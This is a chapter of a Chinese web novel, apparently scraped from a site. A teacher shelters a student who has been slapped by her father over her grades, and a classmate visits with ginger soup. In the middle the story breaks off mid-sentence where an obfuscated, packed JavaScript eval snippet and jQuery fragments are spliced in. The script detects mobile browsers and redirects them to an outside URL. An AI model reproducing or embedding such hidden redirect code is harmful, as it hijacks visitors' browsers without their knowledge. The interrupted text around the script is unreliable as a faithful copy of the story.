两个人闷头吃饭，谢昭把碗里的米饭一粒一粒戳得稀碎，徐嘉禾煮的酸菜鱼她也没动几筷子。
徐嘉禾叹了口气，认命地夹了一块最嫩的鱼到谢昭碗里：“不吃饱，小心待会儿没力气哭。”
谢昭盯着那块鱼肉，眼泪终于掉了下来，一滴一滴落进米饭里。她抬手用力抹了一把脸，把那块鱼肉和着米饭扒进嘴里。
“没有要哭，”她含混不清地说，“我没什么食欲而已。”
徐嘉禾：“……？”
你在质疑酸菜鱼的下饭能力？
“你这话我就不爱听了，”徐嘉禾忍了又忍，看着谢昭碗里几乎没怎么动过的饭菜，还是不死心地问，“我做得很难吃？”
“不是，很好吃。”谢昭愣了愣，一边咕哝，眼泪一边扑簌簌往下掉。
要是在家里，她现在这个样子会被骂装模做样，而不是被认真地询问意见的吧。
她忍不住起身，说了句我去洗个脸，就逃也似的冲进了卫生间。
谢昭用冷水扑了扑脸，撑着洗面台，抬头看着镜子发呆。镜子里清晰地映出她的脸，左脸上的红印看起来已经淡了些，但明天肯定会青。
她不由自主地想起下午的事。
如果谢昭知道徐嘉禾在想什么，那估计她会说，你猜的一点也没错。
谢昭拿到自己期末考试成绩单的时候，心情其实挺好的。她无论是年级排名还是班级排名都有很大的进步，每一科都涨了十几分，甚至差一点就能上平均分了。
她以为父亲会高兴的。
晚饭时她假装毫不在意地把成绩单放在桌上，母亲果然看到了，脸上难得露出一点笑意：“昭昭这次进步真大。”
父亲没说话，只是拿过成绩单，从上到下看了一遍，然后他问：“总分多少？”
谢昭报了分数。
“班级平均分多少？”
谢昭沉默了一下，说了另一个数字。
“年级平均分呢？”
长久的沉默。
父亲把成绩单拍在桌上，冷笑：“进步这么点分数，结果离年级中游都还差这么多名，这算什么进步？”
“昭昭确实在努力了，”母亲小心翼翼地打圆场，“你看她这学期每天都认真写作业……”
“完成作业是她该做的，”父亲看都不看妻子，“你以为我不知道你在学校干什么？办报纸、做班长，威风得不得了，是吧？就是没把心思放在学习上。”
谢昭张了张嘴，她想反驳，又觉得没什么好说的，于是她把成绩单收起来，起身回了房间。
父亲在身后尖叫着什么，她没听清，她只是关上房门，一头栽倒在床上，望着房间顶上的灯发呆。
后来母亲来敲门，叫她吃晚饭。她说不想吃，于是又过了一会儿，门开了，进来的是父亲。
她也不记得父亲具体说了些什么，只记得那一巴掌。
和以前每一次一样，虽然来得突然，但父亲的理由总是相当充分，毕竟她的父亲是不会犯错的。
谢昭看着父亲表情扭曲的脸，她甚至都不知道他的愤怒从何而来、为什么是他感到愤怒而不是自己，她忽然觉得好累。
那间房子里的一切都让她喘不过气，所以最后她跑了。
徐嘉禾站在卫生间门外，听着里面的水声，轻轻叹了口气。她没有去敲门，只是转身回到餐桌前，把已经有些凉了的鱼重新热上。
等谢昭从卫生间出来，徐嘉禾看着她红红的眼睛，也没有多问。
她刚低头扒了一口饭，敲门声又响了。这回声音不算大，节奏却带着急切。
徐嘉禾有些疑惑地放下筷子，就见谢昭像被踩着尾巴的猫一般，整个人都僵住了。
“不会是……”谢昭艰难地开口，没能继续说下去。
“应该不是。”谢昭不知道，但徐嘉禾清楚，自己是给她爸妈打过电话的。
她按捺下心中的疑惑，按住谢昭的手腕，轻轻捏了一下以示安抚，自己起身去开门。
门外站着的居然是徐湛。
“徐湛？”徐嘉禾忍不住又回头看了看房间里的谢昭，今天这是个什么日子，怎么一个两个全都往她家里来了。
门外的徐湛可能是没想到徐嘉禾开门会开得这么快，反而被吓了一跳。
他退后一步，有些慌乱地开口：“徐老师，对不起这么晚来打扰，我是来找谢昭——”
他话音未落，就看到了从徐嘉禾身后探出头的谢昭。
两人隔着徐嘉禾对视，谢昭瞪大了眼睛，一副见了鬼的表情：“你怎么知道我在这儿？”
“我刚刚去你家找你，想给你送东西。”徐湛的耳根红了，讷讷开口，“你妈说你跑了，我不太放心，就过来找找你。”
他没说的是，他从谢昭家出来时天已经黑透了。锦宁又是难得的雨雪天气，他就这样一路骑着车，走了将近一个半小时。
“那你为什么会觉得我在徐老师家？”谢昭盯着他看了半天，“纯靠猜的？”
徐湛似乎没想过这个问题，此刻被谢昭这么问，他愣了愣，垂下眼睛，声音也跟着低了下去：“我……”
谢昭眉头拧成一团：“白跑一趟怎么办？”
“白跑就白跑，”徐湛抿唇，语气却执着，“万一你在呢。”
徐嘉禾迷茫地听着他俩的对话，忽然觉得自己像个五百瓦的大灯泡，她轻咳一声：“那个，徐湛，要不咱们先进来再聊吧，外面冷。”
徐湛犹豫了一下，还是进来了。他接过徐嘉禾递来的备用拖鞋换上，书包也在门边放好，把手里拎着的保温壶递过来。
“这是什么？”谢昭看着外边裹着红色包布的巨大保温壶，诡异地沉默了片刻。
“我妈煮的姜汤，”徐湛眼睛亮晶晶的，把保温壶递给她，“我出门的时候倒的烫的，现在应该还温着呢。”
“所以，”徐嘉禾在旁边听着，难以置信，“你跑那么远，就是为了给谢昭送姜汤？”
年轻人精力都这么旺盛吗？
徐湛和谢昭对视一眼，两个人都安静了下来。
徐嘉禾摇了摇头，觉得自己可能已经老了。这种事情，只要想想她都开始累了：“算了，都别站着了，过来坐。徐湛吃晚饭没？”
徐湛摇头，又点头，最后在徐嘉禾锐利的目光下败下阵来，老实交代：“没吃。”
“……”徐嘉禾无奈地叹了口气，转身往厨房走，“行，正好我们也还在吃晚饭，我去给你盛。”
吃过饭，谢昭和徐湛主动提出要收拾碗筷，徐嘉禾乐得清闲。她在沙发上坐下，看上去全神贯注地盯着电视看，实际却在不动声色地听两人在厨房里的对话。
“……于老师说，过完年我就可以继续去机房了。”
“……你天天去，人家不要放假？”
“他说没事。”
“他就算觉得有事也不好说啊，”
“去一个人也是去，去两个人也是去，你要不要也试试？于老师说也可以练练打字什么的，不需要基础。”
“我？算了吧，我对那玩意儿没兴趣。”
“那你想做什么？”
沉默。
徐嘉禾挑眉，借拆斥巨资购买的可乐的动静，小心翼翼地把电视机音量调小了点。
“我不知道，”良久，谢昭的声音传来，“但我可以边走边看，应该来得及的吧？”
“有道理，”徐湛说，“我觉得来得及。”
晚上九点多，窗外又开始下起了雨夹雪。
“九点多了，”徐嘉禾看了眼墙上的挂钟，“徐湛，你怎么回去？”
徐湛站起身：“我骑自行车就好，很快的。”
“这么晚骑车，会不会不安全？”谢昭脱口而出，随即又觉得自己管得太宽，别过脸去，“……我是说，路上会滑。”
“我会小心的，”徐湛冲她笑了笑，把围巾重新缠好。他走到门口，忽然又回过头。“谢昭。”
谢昭一脸疑惑地看他。
“你很聪明，比你以为的聪明得多。”徐湛认真地说，“你只是还没找到想做的事。”
“等你真正找到的那天，你会做得比谁都好。”
说罢，他推开门，走进了冬夜的寒风里。
谢昭站在原地，手里捧着那个已经空了的保温壶发呆。
夜里，徐嘉禾躺在床上，听着旁边谢昭翻来覆去的声音，自己也半天睡不着。
“徐老师，”纠结了半天，谢昭终于开口了，小声问，“你觉得我能考上大学吗？”
徐嘉禾翻了个身，看着谢昭。
谢昭洗漱完就将自己裹进了被子里，她的眼神里有迷茫，还有一丝她自己可能都没察觉的期待。
“能。”徐嘉禾斩钉截铁地说。
谢昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174002|195938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愣了愣，她知道徐嘉禾多半会说好话，但没有想到她能够这么笃定。
“我不是想要安慰你，我是认真的，”徐嘉禾将女孩子面前的额发捋开，免得扫到眼睛。在她小时候和谢昭睡在同一张床上谈心时，谢昭就经常这样为她整理头发，“不过你不应该这么问，应该问自己想不想考上大学。”
谢昭没说话。
“你不想吗？”
“我不知道，”谢昭终于开口，“我不知道我想做什么，也不知道我能做什么。”
“徐湛想学计算机，吕晓杨想考美院，周文瑞说他要一直写小说……他们都知道自己想要什么，我不知道。我连读书是为了什么都不知道。”
“徐老师，你说的对，读书能让我有选择的权利，”她声音有些抖，“可是我不知道自己想选什么。”
徐嘉禾看着她，心里软成了一片。
谢昭不知道自己想要什么，她只知道自己不想要什么，不想要被管、不想要被安排、不想要走别人给她画好的路。
可是不想要，终究不是想要。
“不知道想选什么，那就先别选。”徐嘉禾说，“你才十七岁，又不是七十岁，急什么？”
谢昭若有所思地点了点头。
“徐老师，”她忽然开口，“你在我这么大的时候，知道自己以后要干什么吗？”
徐嘉禾难得卡了壳。
她回忆起自己的十七岁，惊讶地发现，自己好像从来没有认真想过这个问题。
高考填志愿，她选了一个自己的分数能去的最好的学校。毕业了，爸妈说师范好，她也就顺理成章地听话去当老师，带了三届高三，送走一批又一批学生，她对这份工作说不上热爱，也谈不上讨厌。
徐嘉禾以为自己这辈子就这样了。
然后，她遇见了那个让她第一次意识到“原来有人可以这样活着”的人。
他当老师不是为了稳定、不是为了挣钱，他就是想要教书。把那些不懂的孩子教会，把对数学感兴趣、想要继续深造的孩子领进这个领域。
徐嘉禾在他上跨校公开课的时候去听过一节，惊讶地发现，他在上课的时候眼睛里是有光的。
徐嘉禾以前不懂那是什么光，毕竟她觉得自己上班的时候只有一种淡淡的死感。
后来她懂了。
那是她花了二十五年，还没来得及找到的东西。
“我啊，”徐嘉禾笑了笑，“我十七岁的时候也不知道自己想做什么，我连这个问题都没想过。”
谢昭疑惑：“那你最后为什么会当老师？”
徐嘉禾睁着眼睛看天花板。
这个问题她在过去三年里问过自己无数遍，答案换来换去，最后往往总结为“管他有的没的，来都来了凑合过吧，难不成还要辞职吗”。
“之前是因为这是一份合适的工作，”但此刻，徐嘉禾想了想，说，“现在是因为，有人跟我说，他觉得高中生最需要一个不一样的老师，我觉得他说的是对的。”
谢好奇地问：“他是你什么人？”
“一个朋友，”徐嘉禾顿了顿，他们俩的关系，称得上是朋友吗，“一个很厉害的朋友。”
“他还在当老师吗？”
“应该还在吧，”徐嘉禾轻声道，“而且，他是个比我好得多的老师。”
谢昭没有再问。
过了很久，久到徐嘉禾以为谢昭已经睡着了，她自己上下眼皮都要开始打架了，少女忽然翻了个身，声音闷闷的：“徐老师。”
“……嗯。”
“我觉得你才是最好的老师。”
徐嘉勉勉强强地嗯了一声，没有说话。
自从到了1991年，她的作息已经被调整得相当规律，这个点她已经困得再没有多余的精力去思考，也说不出话了。
“徐老师，”又过了一会儿，谢昭又小声问，“你说今天徐湛怎么想到来你家找我的？万一我不在呢，他白跑一趟怎么办？”
徐嘉禾终于知道为什么自己小时候睡不着、缠着妈妈问东问西的时候，妈妈会对自己这么凶了。
原来是困得没工夫纠结语气了。
“那就白跑一趟呗，又不会怎么样。”她用自己最后一点清醒，说，“人生的容错率比你想象中的大多了。”
“别说只是走错了一段路，就算你高考真的考砸了，你的人生也不会完蛋。”